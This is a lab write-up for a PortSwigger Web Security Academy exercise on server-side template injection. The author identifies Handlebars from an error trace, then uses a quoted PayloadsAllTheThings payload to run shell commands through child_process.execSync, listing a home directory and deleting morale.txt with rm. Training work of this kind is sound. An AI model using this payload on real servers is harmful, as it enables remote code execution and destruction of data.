Skip to content
Field Details
Platform PortSwigger Web Security Academy
Type Server-Side Template Injection (Handlebars)
Difficulty Practitioner
Objective Identify the template engine and find a documented exploit online to execute arbitrary code, then delete morale.txt from Carlos's home directory

Server-Side Template Injection in an Unknown Language with a Documented Exploit

Entering the lab we find an ecommerce site. Clicking into a product to check stock shows:

Unfortunately this product is out of stock

and the URL is:

web-security-academy.net/?message=Unfortunately this product is out of stock

Trying:

web-security-academy.net/?message={{7*7}}
Screenshot

Gives an internal server error:

Internal Server Error

/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267 throw new Error(str); ^ Error: Parse error on line 1: {{7*7}} --^ Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID' at Parser.parseError (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267:19) at Parser.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:336:30) at HandlebarsEnvironment.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43) at compileInput (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:515:19) at ret (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:524:18) at [eval]:5:13 at Script.runInThisContext (node:vm:128:12) at Object.runInThisContext (node:vm:306:38) at node:internal/process/execution:83:21 at [eval]-wrapper:6:24 Node.js v19.8.1

The traceback names handlebars directly — confirms the engine without needing further probing. Sometimes the "unknown language" identification really is just reading the error carefully.

Checking PayloadsAllTheThings for a Handlebars exploit:

Handlebars - Command Execution

This payload only works in handlebars versions, fixed in GHSA-q42p-pg8m-cqh6:

    >= 4.1.0, < 4.1.2
    >= 4.0.0, < 4.0.14
    < 3.0.7

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

This is a prototype pollution chain abusing string.sub.apply and Function constructor access — gnarly enough that adapting this payload from PayloadsAllTheThings is the realistic approach rather than building it from scratch. It's also large, so it needs URL-encoding through Burp before sending, otherwise pasting it raw breaks the request structure:

Screenshot

Sending it returns:

e 2 [object Object] function Function() { [native code] } 2 [object Object] total 24 drwxr-xr-x 1 carlos carlos 45 Jun 14 00:37 . drwxr-xr-x 1 root root 20 Jul 6 2025 .. -rw-rw-r-- 1 carlos carlos 132 Jun 14 00:37 .bash_history -rw-r--r-- 1 carlos carlos 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 carlos carlos 3771 Feb 25 2020 .bashrc -rw-r--r-- 1 carlos carlos 807 Feb 25 2020 .profile -rw-rw-r-- 1 carlos carlos 6816 Jun 14 00:37 morale.txt
Screenshot

morale.txt shows up in the listing. Swapping ls -la for rm morale.txt in the same payload:

Screenshot
Screenshot

We delete the file and the lab will be solved

Resources